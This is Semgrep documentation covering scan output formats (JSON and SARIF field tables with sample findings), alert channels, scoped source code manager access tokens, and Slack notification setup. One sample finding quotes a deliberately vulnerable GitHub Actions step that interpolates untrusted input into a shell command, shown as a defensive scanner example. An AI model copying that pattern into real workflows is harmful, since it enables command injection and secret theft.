| `engine_kind` | β | β |
| `fingerprint` | β | β |
| `fix` | β | β |
| `is_ignored` | β | β |
| `lines`\* | β | β |
| `message` | β | β |
| `metadata` | See [`metadata` object](#metadata-object) | See [`metadata` object](#metadata-object) |
| `metavars` | β | β |
| `severity` | β | β |
| `validation_state`(for Secrets scans only) | β | β |
*\*`lines` refers to the **text** of the matched lines, not the line numbers themselves. See the [`results` object](#results-object) to view line numbers.*
#### `metadata` object
| Field | Semgrep CE | Semgrep AppSec Platform |
| :-------------------- | :--------- | :---------------------- |
| `category` | β | β |
| `confidence` | β | β |
| `cwe` | β | β |
| `impact` | β | β |
| `license` | β | β |
| `likelihood` | β | β |
| `owasp` | β | β |
| `references` | β | β |
| `semgrep.dev` | β | β |
| `semgrep.policy` | β | β |
| `shortlink` | β | β |
| `source` | β | β |
| `subcategory` | β | β |
| `technology` | β | β |
| `vulnerability_class` | β | β |
#### JSON example output
The following snippet is a JSON output example with all the fields for Semgrep Code.
```json expandable theme={null}
{
"check_id": "yaml.github-actions.security.run-shell-injection.run-shell-injection",
"path": "STRING",
"start":
{
"line": 18,
"col": 9,
"offset": 300
},
"end": {
"line": 18,
"col": 82,
"offset": 373
},
"extra": {
"metavars": {
"$SHELL": {
"start": {
"line": 18,
"col": 14,
"offset": 305
},
"end": {
"line": 18,
"col": 82,
"offset": 373
},
"abstract_content": "echo \"was the box ticked? ${BOX_TICKED}! (${{ inputs.box_ticked }})\""
}
},
"message": "Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\".",
"metadata": {
"category": "security",
"cwe": [
"CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"
],
"owasp": [
"A01:2017 - Injection",
"A03:2021 - Injection"
],
"references": [
"https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections",
"https://securitylab.github.com/research/github-actions-untrusted-input/"
],
"technology": [
"github-actions"
],
"cwe2022-top25": true,
"cwe2021-top25": true,
"subcategory": [
"vuln"
],
"likelihood": "HIGH",
"impact": "HIGH",
"confidence": "HIGH",
"license": "Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license",
"vulnerability_class": [
"Command Injection"
],
"source": "https://semgrep.dev/r/yaml.github-actions.security.run-shell-injection.run-shell-injection",
"shortlink": "https://sg.run/11zk",
"semgrep.dev": {
"rule": {
"origin": "community",
"r_id": 13162,
"rule_id": "v8UQj2",
"rv_id": 1025108,
"url": "https://semgrep.dev/playground/r/akTViyp/yaml.github-actions.security.run-shell-injection.run-shell-injection",
"version_id": "akTViyp"
}
},
"dev.semgrep.actions": [
"comment"
],
"semgrep.policy": {
"id": 91181987,
"name": "Rule Board - PR Comments column",
"slug": "rule-board-pr-comments"
},
"semgrep.url": "https://semgrep.dev/r/yaml.github-actions.security.run-shell-injection.run-shell-injection"
},
"severity": "ERROR",
"fingerprint": "...",
"lines": " - run: echo \"was the box ticked? ${BOX_TICKED}! (${{ inputs.box_ticked }})\"",
"is_ignored": false,
"validation_state": "NO_VALIDATOR",
"engine_kind": "PRO"
}
}
```
### SARIF
#### SARIF top-level fields
| Field | Semgrep CE | Semgrep AppSec Platform |
| :-------- | :-------------------------------- | :-------------------------------- |
| `$schema` | β | β |
| `runs` | See [`runs` object](#runs-object) | See [`runs` object](#runs-object) |
| `version` | β | β |
#### `runs` object
| Field | Semgrep CE | Semgrep AppSec Platform |
| :---------------- | :---------------------------------------- | :---------------------------------------- |
| `invocations` | β | β |
| `results` | See [`results` object](#results-object-1) | See [`results` object](#results-object-1) |
| `rules` | β | β |
| `semanticVersion` | β | β |
#### `results` object
| Field | Semgrep CE | Semgrep AppSec Platform |
| :------------- | :--------- | :---------------------- |
| `fingerprints` | β | β |
| `locations` | β | β |
| `message` | β | β |
| `properties` | β | β |
| `ruleId` | β | β |
#### SARIF example output
The following snippet is a SARIF output example with all the fields for Semgrep Code.
```json expandable theme={null}
{
"version": "2.1.0",
"runs": [
{
"invocations": [
{
"executionSuccessful": true,
"toolExecutionNotifications": []
}
],
"results": [
{
"fingerprints": {
"matchBasedId/v1": "..."
},
"fixes": [
{
"artifactChanges": [
{
"artifactLocation": {
"uri": "Dockerfile"
},
"replacements": [
{
"deletedRegion": {
"endColumn": 15,
"endLine": 39,
"startColumn": 1,
"startLine": 39
},
"insertedContent": {
"text": "USER non-root\nCMD [\"./main\"]"
}
}
]
}
],
"description": {
"text": "By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.\n Rule-defined fix: Semgrep rule suggested fix"
}
}
],
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "Dockerfile",
"uriBaseId": "%SRCROOT%"
},
"region": {
"endColumn": 15,
"endLine": 39,
"snippet": {
"text": "CMD [\"./main\"]"
},
"startColumn": 1,
"startLine": 39
}
}
}
],
}
],
"tool": {
"driver": {
"name": "Semgrep OSS",
"rules": [
{
"defaultConfiguration": {
"level": "error"
},
"fullDescription": {
"text": "By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."
},
"help": {
"markdown": "By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.missing-user.missing-user)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n",
"text": "By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."
},
"helpUri": "https://semgrep.dev/r/dockerfile.security.missing-user.missing-user",
"id": "dockerfile.security.missing-user.missing-user",
"name": "dockerfile.security.missing-user.missing-user",
"properties": {
"precision": "very-high",
"tags": [
"CWE-250: Execution with Unnecessary Privileges",
"MEDIUM CONFIDENCE",
"OWASP-A04:2021 - Insecure Design",
"rule-board-pr-comments",
"security"
]
},
"shortDescription": {
"text": "Semgrep Finding: dockerfile.security.missing-user.missing-user"
}
}
],
"semanticVersion": "1.122.0"
}
}
}
],
"$schema": "https://docs.oasis-open.org/sarif/sarif/v2.1.0/os/schemas/sarif-schema-2.1.0.json"
}
```
## Semgrep Supply Chain
**INFO**
You must log in to Semgrep to scan with Semgrep Supply Chain.
### JSON
#### JSON example output
The following snippet is a JSON output example with all the fields for Semgrep Supply Chain.
```json expandable theme={null}
{
"version": "1.122.0",
"results": [
{
"check_id": "ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b",
"path": "go.mod",
"start": {
"line": 6,
"col": 1,
"offset": 0
},
"end": {
"line": 6,
"col": 1,
"offset": 0
},
"extra": {
"metavars": {},
"message": "Affected versions of github.com/gin-gonic/gin are vulnerable to Download of Code Without Integrity Check.",
"metadata": {
"confidence": "LOW",
"category": "security",
"cve": "CVE-2023-29401",
"cwe": [
"CWE-494: Download of Code Without Integrity Check"
],
"ghsa": "GHSA-2c4m-59x9-fr2g",
"owasp": [
"A06:2021 - Vulnerable and Outdated Components",
"A08:2021 - Software and Data Integrity Failures"
],
"publish-date": "2023-05-12T20:19:25Z",
"references": [
"https://github.com/advisories/GHSA-2c4m-59x9-fr2g",
"https://nvd.nist.gov/vuln/detail/CVE-2023-29401"
],
"sca-fix-versions": [
{
"github.com/gin-gonic/gin": "1.9.1"
}
],
"sca-kind": "legacy",
"sca-schema": 20230302,
"sca-severity": "MODERATE",
"sca-vuln-database-identifier": "CVE-2023-29401",
"technology": [
"go"
],
"license": "Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license",
"vulnerability_class": [
"Cryptographic Issues"
],
"semgrep.dev": {
"rule": {
"r_id": 109470,
"rv_id": 953164,
"rule_id": "4bURlK3",
"version_id": "w8TKlRo",
"url": "https://semgrep.dev/orgs/-/supply-chain/advisories?q=ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b",
"origin": "custom",
"rule_name": "ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b"
},
"src": "unchanged"
},
"source": "https://semgrep.dev/orgs/-/supply-chain/advisories?q=ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b",
"semgrep.url": "https://semgrep.dev/orgs/-/supply-chain/advisories?q=ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b",
"dev.semgrep.actions": []
},
"severity": "WARNING",
"fingerprint": "...",
"lines": "\tgithub.com/gin-gonic/gin v1.6.3 // indirect",
"is_ignored": false,
"sca_info": {
"reachability_rule": false,
"sca_finding_schema": 20220913,
"dependency_match": {
"dependency_pattern": {
"ecosystem": "gomod",
"package": "github.com/gin-gonic/gin",
"semver_range": ">=1.3.1-0.20190301021747-ccb9e902956d, <1.9.1"
},
"found_dependency": {
"package": "github.com/gin-gonic/gin",
"version": "1.6.3",
"ecosystem": "gomod",
"allowed_hashes": {},
"resolved_url": "github.com/gin-gonic/gin",
"transitivity": "transitive",
"manifest_path": "go.mod",
"lockfile_path": "go.mod",
"line_number": 6
},
"lockfile": "go.mod"
},
"reachable": false
},
"engine_kind": "OSS"
}
}
],
"errors": [],
"paths": {
"scanned": [
"go.mod"
]
},
"interfile_languages_used": [],
"skipped_rules": []
}
```
### SARIF
#### SARIF example output
The following snippet is a SARIF output example with all the fields for Semgrep Supply Chain.
```json expandable theme={null}
{
"version": "2.1.0",
"runs": [
{
"invocations": [
{
"executionSuccessful": true,
"toolExecutionNotifications": []
}
],
"results": [
{
"fingerprints": {
"matchBasedId/v1": "..."
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "go.mod",
"uriBaseId": "%SRCROOT%"
},
"region": {
"endColumn": 1,
"endLine": 6,
"snippet": {
"text": "\tgithub.com/gin-gonic/gin v1.6.3 // indirect"
},
"startColumn": 1,
"startLine": 6
}
}
}
],
"message": {
"text": "Affected versions of github.com/gin-gonic/gin are vulnerable to Download of Code Without Integrity Check."
},
"properties": {
"exposure": "undetermined"
},
"ruleId": "ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b"
},
],
"tool": {
"driver": {
"name": "Semgrep OSS",
"rules": [
{
"defaultConfiguration": {
"level": "warning"
},
"fullDescription": {
"text": "Affected versions of github.com/gin-gonic/gin are vulnerable to Download of Code Without Integrity Check."
},
"help": {
"markdown": "Affected versions of github.com/gin-gonic/gin are vulnerable to Download of Code Without Integrity Check.\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/orgs/-/supply-chain/advisories?q=ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b)\n - [https://github.com/advisories/GHSA-2c4m-59x9-fr2g](https://github.com/advisories/GHSA-2c4m-59x9-fr2g)\n - [https://nvd.nist.gov/vuln/detail/CVE-2023-29401](https://nvd.nist.gov/vuln/detail/CVE-2023-29401)\n",
"text": "Affected versions of github.com/gin-gonic/gin are vulnerable to Download of Code Without Integrity Check."
},
"helpUri": "https://semgrep.dev/orgs/-/supply-chain/advisories?q=ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b",
"id": "ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b",
"name": "ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b",
"properties": {
"precision": "very-high",
"tags": [
"CWE-494: Download of Code Without Integrity Check",
"LOW CONFIDENCE",
"OWASP-A06:2021 - Vulnerable and Outdated Components",
"OWASP-A08:2021 - Software and Data Integrity Failures",
"security"
]
},
"shortDescription": {
"text": "Semgrep Finding: ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b"
}
},
],
"semanticVersion": "1.122.0"
}
}
}
],
"$schema": "https://docs.oasis-open.org/sarif/sarif/v2.1.0/os/schemas/sarif-schema-2.1.0.json"
}
```
# Alerts and notifications
Source: https://docs.semgrep.dev/semgrep-appsec-platform/notifications
You can receive notifications for Semgrep findings in the following channels:
| Channel | Semgrep Code | Semgrep Supply Chain | Semgrep Secrets |
| :---------------------------------------------------- | :----------------------------------------------------------------------------------------------------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------- | :----------------------------------------------------------------------------------------------------------------------------------- |
| [Slack](/semgrep-appsec-platform/slack-notifications) | Integrate with Semgrep through **Settings > Integrations**. Customize through rule modes in [Policies page](/semgrep-code/policies). | Integrate with Semgrep through **Settings > Integrations**. Limited customizability; configured by default to send notifications on **reachable** findings | Integrate with Semgrep through **Settings > Integrations**. Customize through policies in [Policies page](/semgrep-secrets/policies) |
| [Email](/semgrep-appsec-platform/email-notifications) | Integrate with Semgrep through **Settings > Integrations**. Customize through rule modes in [Policies page](/semgrep-code/policies). | Not available | Not available |
| [Webhooks](/semgrep-appsec-platform/webhooks) | Integrate with Semgrep through **Settings > Integrations**. Customize through rule modes in [Policies page](/semgrep-code/policies). | Not available | Not available |
Setting up notifications involves the following steps:
Integrating the notification channel, such as Slack, with Semgrep.
Customizing the conditions under which a notification is sent to that channel. Available conditions and how they are set up varies depending on the Semgrep product; see the following table.
Semgrep Code **rule modes** define workflow actions (**Monitor**, **Comment**, or **Block**) that Semgrep Code performs when a rule detects a finding. In addition to these workflow actions, you can also configure Semgrep to send notifications on any rule mode.
| Rule mode | Description |
| :-------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Monitor | Rules in **Monitor mode** display findings only in: β’ Semgrep AppSec Platform β’ For Semgrep Code and Supply Chain: User-defined notifications
Set rules to this mode to evaluate their true positive rate and other criteria you may have. By keeping rules in Monitor, developers do not receive potentially noisy findings in their PRs or MRs. |
| Comment | Rules in **Comment mode** display findings in: β’ Developers' PRs or MRs β’ Semgrep AppSec Platform β’ **For Semgrep Code and Supply Chain:** User-defined notifications
Set rules that have met your performance criteria to this mode when you are ready to display findings to developers. |
| Block | Rules in **Block mode** cause the scan job to fail with an exit code of `1` if Semgrep Secrets detects a finding from these rules. You can use this result to enforce a block on the PR or MR. For example, GitHub users can enable branch protection and set the PR to fail if the Semgrep step fails.
These rules display findings in: β’ Developers' PRs or MRs β’ Semgrep AppSec Platform β’ **For Semgrep Code and Supply Chain:** User-defined notifications
These are typically high-confidence, high-severity rules. |
## View integrations
To view all integrations available to you in Semgrep AppSec Platform, follow these steps:
Sign in to your [Semgrep AppSec Platform ](https://semgrep.dev/orgs/-/settings/integrations) account.
Click **Settings > Integrations > Add**.
## Next steps
Refer to the specific documentation page for the notification channel you want to set up.
# Enable source code manager code access
Source: https://docs.semgrep.dev/semgrep-appsec-platform/scm-code-access
Some Semgrep features, including [Semgrep Managed Scans](/deployment/managed-scanning/overview), [Semgrep Multimodal](/semgrep-multimodal/overview), and [Autofix](/semgrep-code/triage-remediation/autofix), require Semgrep to read repository contents.
Grant code access by assigning additional scopes to the access token or GitHub App that facilitates communication between Semgrep and your source code manager (SCM).
**Other SCM permissions**
This page covers **code read and write access** only. For PR or MR comments, GitHub App installation, sign-in scopes, and other requirements, see [SCM permissions](/deployment/prepare/scm-permissions).
The following table shows the minimum scopes required for each SCM.
| SCM | Read access scope | Write access scope |
| :-------------------------------------- | :---------------------------------------- | :------------------------------------------ |
| Azure DevOps | `Code (read)` | `Code (read and write)` |
| Bitbucket Cloud | `repository:read` `pullrequest:read` | `repository:write` `pullrequest:write` |
| Bitbucket Data Center | `repository:read` | `repository:write` |
| GitHub.com and GitHub Enterprise Server | `contents:read` | `contents:write` |
| GitLab and GitLab Self-Managed | `read_repository` | `write_repository` |
Grant code access to Semgrep with a private GitHub app
If you are an **existing** Semgrep user and your private Semgrep GitHub app does not have code access enabled, follow these steps to update the app and grant code access to Semgrep.
GitHub grants code access through **Repository permissions > Contents** under **Developer Settings**. The installation page at **Settings > Applications** might list read/write permissions but those do not enable file access.
**APP SLUG**
To find the name of your app slug in Semgrep AppSec Platform:
1. Go to [**Settings > Source code managers**](https://semgrep.dev/orgs/-/settings/source-code).
2. Find the panel for your source code manager. The app slug is listed immediately following the name of the source code manager.
In GitHub, navigate to **[Settings > Developer Settings](https://github.com/settings/apps)**. You should see your Semgrep App listed in the **GitHub Apps** tab. GitHub Enterprise Server users must replace the `https://github.com` base URL with the base URL of their GitHub Enterprise Server instance.
Click **Edit** on the Semgrep app.
Navigate to the **Permissions and events** section.
Expand **Repository permissions** and go to **Contents**.
Click the drop-down menu and select **Read and write**. **Read and write** is required for [Autofix](/semgrep-code/triage-remediation/autofix) PRs. If you only need Semgrep to read repository contents, select **Read** instead.
Click **Save Changes**.
GitHub might send you or your GitHub admin an email to approve the permission changes.
Navigate back to the main **[GitHub Settings](https://github.com/settings/)** page. One way to do so is by clicking **Settings** in GitHub's website breadcrumbs.
In the **[Applications](https://github.com/settings/installations)** tab, locate the Semgrep app under the **Installed GitHub Apps** tab.
Click **Review request** next to the **Permission updates requested** message, then choose **Accept new permissions**.
Once approved, Semgrep has code access to your GitHub repositories.
## Grant code access to Semgrep for token-based SCM connections
If you onboarded your repositories using an access token, follow these steps to grant code access to Semgrep.
Before creating or updating the [Azure DevOps PAT](https://learn.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate?view=azure-devops\&tabs=Windows), ensure that the account used to create the token has access to the Azure DevOps projects and repositories Semgrep scans.
A PAT can only grant access that the account already has. Microsoft requires at least **Basic** access for accounts that contribute to code. To create **Autofix PRs**, the account must also be able to **read repository contents**, **create branches**, **push commits**, and **create PRs** at the repository level.
### Grant project and repository access
In Azure DevOps, navigate to your organization: [https://dev.azure.com/ORGANIZATION\_NAME](https://dev.azure.com/ORGANIZATION_NAME)
Go to **Organization settings > Users**
Find the account used for your Semgrep Azure DevOps connection. If the account is not listed, click **Add users** and add the account to the organization.
Set the account's **Access level** to **Basic**. Stakeholder access does not allow code contribution in private projects.
Ensure the account is a member of the Azure DevOps project that contains the repositories Semgrep scans. If you use Option 1 below, adding the account to **Contributors** also adds project membership.
Grant the account repository access using one of the following options.
#### Option 1: Add the account to the Project Contributors group
Use this option to grant the account standard contributor access across the project.
Go to **Project settings > Permissions**
Select **Contributors**.
Click **Members**.
Add the account used for the Semgrep Azure DevOps connection.
#### Option 2: Grant access to specific repositories
Use this option to restrict Semgrep access to specific repositories.
Go to **Project settings > Repositories**
Select the repository that Semgrep scans.
Go to the **Security** tab.
Search for the account used for the Semgrep Azure DevOps connection.
Set the following permissions to **Allow**:
* **Read**
* **Contribute**
* **Create branch**
* **Contribute to pull requests**
Repeat these steps for each repository that Semgrep scans.
**Branch-specific permissions**
Branch permissions can override repository permissions. If the target repository uses branch-specific permissions, confirm that the Semgrep account is not denied access on the target branch. The account must be able to contribute to branches it creates and create PRs into the repository's default branch.
### Create and configure an access token
Navigate to the Azure DevOps access token settings page: [https://dev.azure.com/ORGANIZATION\_NAME/\_usersSettings/tokens](https://dev.azure.com/ORGANIZATION_NAME/_usersSettings/tokens).
Click **New token** to open the **Create a new personal access token** dialog.
Assign the **Code (read and write)** scope to the token. This scope includes read access and the ability to create and manage PRs. For read-only code access, assign **Code (read)** instead.
Also assign [any other scopes your deployment needs](/deployment/managed-scanning/azure#prerequisites-and-permissions), such as those listed in the **Autofix** row of [SCM permissions](/deployment/prepare/scm-permissions).
Create the token, and copy its value. Azure DevOps only shows the token value once.
Return to Semgrep AppSec Platform, and go to [**Settings > Source code managers**](https://semgrep.dev/orgs/-/settings/source-code).
Find the connection associated with your organization, and click **Update access token**.
Paste in your new access token.
Click **Save**.
Once saved, Semgrep has code access to your Azure DevOps repositories.
Bitbucket Cloud access tokens are tied to a workspace, project, or repository, not to an individual user account. Create the token at the narrowest level that includes the repositories Semgrep scans.
Workspace access tokens, required for features such as [Autofix](/semgrep-code/triage-remediation/autofix) write access, are only available on **Bitbucket Cloud Premium**.
Branch permissions can restrict who can push or merge code. If you grant write access for features such as Autofix PRs, ensure that the access token can push branches and create PRs into the target branch.
Navigate to the Bitbucket Cloud access token settings page: [https://bitbucket.org/WORKSPACE/workspace/settings/access-keys](https://bitbucket.org/WORKSPACE/workspace/settings/access-keys).
Create a new access token.
Assign the `repository:read`, `pullrequest:read`, `repository:write`, and `pullrequest:write` scopes to the token, along with [any other scopes your deployment needs](/deployment/managed-scanning/bitbucket#bitbucket-cloud).
Copy the token's value.
Return to Semgrep AppSec Platform, and go to [**Settings > Source code managers**](https://semgrep.dev/orgs/-/settings/source-code).
Find the Bitbucket connection associated with your workspace, and click **Update access token**.
Paste in your new access token.
Click **Save**.
Once saved, Semgrep has code access to your Bitbucket Cloud repositories.
Bitbucket Data Center HTTP access tokens can be created for a user, project, or repository. Create the token at the narrowest level that includes the repositories Semgrep scans.
Branch permissions can restrict who can push or merge code. If you grant write access for features such as Autofix PRs, ensure that the HTTP access token can push branches and create PRs into the target branch.
See [Bitbucket Data Center HTTP access token requirements](/deployment/managed-scanning/bitbucket#bitbucket-data-center) to create a token with the permissions your deployment needs, including repository read and write access. Copy the token's value.
Return to Semgrep AppSec Platform, and go to [**Settings > Source code managers**](https://semgrep.dev/orgs/-/settings/source-code).
Find the Bitbucket Data Center connection associated with your instance, and click **Update access token**.
Paste in your new access token.
Click **Save**.
Once saved, Semgrep has code access to your Bitbucket Data Center repositories.
Use these steps to create a GitHub fine-grained personal access token with code access and add it to Semgrep.
**Organization approval**
Some GitHub organizations require approval for fine-grained personal access tokens. If your organization requires approval, an organization owner must approve the token before Semgrep can use it.
Navigate to the GitHub personal access token settings page: [https://github.com/settings/personal-access-tokens](https://github.com/settings/personal-access-tokens). GitHub Enterprise Server users must replace the [https://github.com](https://github.com) base URL with the base URL of their GitHub Enterprise Server instance.
Click **Generate new token**.
Enter a name for the token and set an expiration date according to your organization's token rotation policy.
Under **Resource owner**, select the GitHub organization that contains the repositories Semgrep scans.
Under **Repository access**, select either **All repositories** or **Only select repositories**. If you choose **Only select repositories**, select the repositories that this token is used with.
Under **Repository permissions**, set **Contents** to **Read and write**.
**Read and write** is required for [Autofix](/semgrep-code/triage-remediation/autofix) PRs. If you only need Semgrep to read repository contents, select **Read-only** instead.
Under **Repository permissions**, set **Pull requests** to **Read and write**.
Click **Generate token** and copy its value.
Return to Semgrep AppSec Platform, and go to [**Settings > Source code managers**](https://semgrep.dev/orgs/-/settings/source-code).
Find the GitHub connection associated with your organization, and click **Update access token**.
Paste in your new access token.
Click **Save**.
Once saved, Semgrep has code access to your GitHub repositories.
GitLab access tokens can be created for a user, group, or project. Create the token at the narrowest level that includes the repositories Semgrep scans. Project access tokens are scoped to a single project. Group access tokens are scoped to a group and its projects.
Protected branches can restrict who can push or merge code. If you grant write access for features such as Autofix PRs, ensure that the access token can push branches and create merge requests into the target branch.
Navigate to the GitLab access token settings page: [https://gitlab.com/groups/GROUP/-/settings/access\_tokens](https://gitlab.com/groups/GROUP/-/settings/access_tokens).
GitLab Self-Managed users must replace the [https://gitlab.com](https://gitlab.com) base URL with the base URL of the GitLab Self-Managed instance.
Create a new access token.
Assign the token the `read_repository` and `write_repository` scopes, along with [any other scopes your deployment needs](/deployment/managed-scanning/gitlab#prerequisites-and-permissions).
The `write_repository` scope is required for [Autofix](/semgrep-code/triage-remediation/autofix) PRs. If you only need Semgrep to read repository contents, assign `read_repository` instead.
Copy the token's value.
GitLab only shows the token value once.
Return to Semgrep AppSec Platform, and go to [**Settings > Source code managers**](https://semgrep.dev/orgs/-/settings/source-code).
Find the GitLab connection associated with your group, and click **Update access token**.
Paste in your new access token.
Click **Save**.
Once saved, Semgrep has code access to your GitLab repositories.
# Receive Slack notifications
Source: https://docs.semgrep.dev/semgrep-appsec-platform/slack-notifications
The Semgrep Slack app enables Semgrep AppSec Platform to notify you of new findings after every scan. By receiving notifications within your Slack workspace, developers and security engineers can see findings without switching environments. This can lessen the friction between detecting a finding, triaging it, and resolving it.
You can select the channels in your Slack workspace that receive finding notifications. You can also choose to receive notifications only for certain repositories (projects) or **Rule Modes**.
Semgrep Code supports Policy-based filters for notifications. For example, you can choose to receive notifications only for findings generated by rules from the Blocking Rule Mode.
## Install the Semgrep Slack App
**PREREQUISITES**
* You must be a Slack **Workspace Owner** to set up the Semgrep Slack app.
* **Single-tenant Semgrep AppSec Platform**: Reach out to your Technical Account Manager (TAM) to ensure your instance has been configured for the Semgrep Slack app.
To install the Semgrep Slack app, follow these steps:
In [Semgrep AppSec Platform](https://semgrep.dev/login), go to **Settings > [Integrations](https://semgrep.dev/orgs/-/settings/integrations)**.
On the **[Integrations](https://semgrep.dev/orgs/-/settings/integrations)** page, click **Add** (or **Setup First Integration** if this is your first integration), and then select **Slack**.
Click **Allow**.
## Set up notifications for findings in Slack
The commands you use depend on whether your organization has migrated to [unified policies](/semgrep-appsec-platform/unified-policies/overview):
* If your organization uses **legacy policies**, use `/semgrep_subscribe` (Code and Supply Chain) or `/semgrep_subscribe_secrets` (Secrets), as described in the following sections.
* If your organization has [migrated to **unified policies**](/semgrep-appsec-platform/unified-policies/overview), use `/semgrep_add_channel` and configure notifications from the **Remediation** page.
If your organization has migrated to [Unified policies](/semgrep-appsec-platform/unified-policies/overview), you must use the `/semgrep_add_channel` command to make a Slack channel available to your remediation policies. Then, you can send findings notifications to the channel by adding a **Send a Slack message** action to a remediation policy.
The projects a channel receives findings for are controlled by each remediation policy's **Scope**, *not* by the Slack command.
To set up notifications:
In your Slack workspace, find or create a channel for Semgrep notifications.
* If you use a private channel for notifications, first invite the Semgrep app by entering the command `/invite @Semgrep` in the channel. If the app is not invited to a private channel, it cannot send notifications there.
In the selected Slack channel, enter the following command: `/semgrep_add_channel`. This opens the **Semgrep Notifications** dialog.
Choose an organization from the list under **Select target organization**.
Click **Add channel**. The channel is now available as an option to your remediation policies.
In Semgrep AppSec Platform, go to **Rules & Policies > Remediation**, and add a **Send a Slack message** action to a new or existing remediation policy. Ensure that you select the channel you configured in the preceding steps.
To send findings for specific projects only, set the policy's **Scope** to those projects. For more information, see [Create a remediation policy](/semgrep-appsec-platform/unified-policies/get-started#create-a-remediation-policy).
### Code and Supply Chain
To set up or subscribe to notifications for findings in your Slack workspace, perform the following steps:
In your Slack workspace, find or create a channel for Semgrep notifications.
* If you use a private channel for notifications, first invite the Semgrep app by entering the command `/invite @Semgrep` in the channel. If the app is not invited to a private channel, it cannot send notifications there.
In the selected Slack channel, enter the following command: `/semgrep_subscribe`.
Optional: Enter the name of a specific project after `/semgrep_subscribe` to receive findings for that specific project only. The project must be entered as it is shown in Semgrep AppSec Platform, typically:
/semgrep\_subscribe ACCOUNT\_NAME/REPOSITORY\_NAME
Choose an organization in the list under **Select target organization**. The dialog box expands with additional options.
Optional: Set up additional filters.
* For users receiving both Semgrep Code and Semgrep Supply Chain findings: Use **Target scan** type to choose whether to receive notifications for Semgrep Code, Semgrep Supply Chain, or both.
* For Semgrep Code users only: In the **Selected Policies** field, choose the specific policies you want to receive findings for. By default, all policies are selected, including **Monitor policy**, which may result in a higher volume of notifications.
Click **Subscribe**. If you did not specify a project after `/semgrep_subscribe`, the channel is subscribed to findings from all your projects in Semgrep AppSec Platform.
Optional: To set up Slack notifications for additional workspaces, repeat steps 1 to 6. The Semgrep Slack integration is set up on a per-workspace basis.
You have successfully set up notifications for Semgrep findings. The Semgrep Slack app reports new findings after every scan but does not report findings that were previously discovered.
**SUGGESTED WORKFLOW**
In your Slack workspace, create separate channels for either policies, repositories (projects), or types of findings depending on your business or development need. This ensures that developers receive only findings that are relevant to them.
### Secrets
To set up or subscribe to notifications for findings in your Slack workspace, perform the following steps:
In your Slack workspace, find or create a channel for Semgrep notifications.
* If you use a private channel for notifications, first invite the Semgrep app by entering the command `/invite @Semgrep` in the channel. If the app is not invited to a private channel, it cannot send notifications there.
In the selected Slack channel, enter the following command: `/semgrep_subscribe_secrets`.
Choose an organization in the list under **Select target organization**.
Click **Subscribe**. You can now configure Semgrep Secrets notifications for this channel.
This channel is now ready to receive Semgrep Secrets notifications. To configure when notifications are sent, create a [**Semgrep Secrets policy**](/semgrep-secrets/policies#slack-notification-policies).
Optional: To set up Slack notifications for additional workspaces, repeat steps 1 to The Semgrep Slack integration is set up on a per-workspace basis.
## Remove notifications for findings in Slack
**NOTE**
This operation removes or unsubscribes a channel from notifications. To uninstall the Semgrep Slack App, refer to [Uninstall the Semgrep Slack App](#uninstall-the-semgrep-slack-app).
To remove a Slack channel from your remediation policies:
In Slack, enter the channel that you want to remove.
Type `/semgrep_remove_channel`.
Select the target organization.
Click **Remove channel**.
Removing a channel takes it out of your list of available channels for remediation policies and stops all remediation policy notifications to that channel.
### Code and Supply Chain
To remove or unsubscribe to notifications:
In Slack, enter the channel that you want to unsubscribe from Semgrep findings.
Type `/semgrep_unsubscribe`.
Select the target organization to unsubscribe from.
Click **Unsubscribe**.
You have unsubscribed from Semgrep finding notifications for that particular channel.
### Secrets
To remove notifications:
From the Secrets policies tab, click the **three-dot(...) button > Edit policy** for the policies that trigger notifications in this channel.
Unselect the desired channels from the policy.
Click **Save changes**.
To unsubscribe a channel:
In Slack, enter the channel that you want to unsubscribe from Semgrep Secrets findings.
Type `/semgrep_unsubscribe_secrets`.
Select the target organization to unsubscribe from.
Click **Unsubscribe**.
Unsubscribing removes this channel from your list of available channels for all Semgrep Secrets policies. You will no longer be able to create policies using this channel, and it will be removed from existing policies, stopping all notifications to this channel.
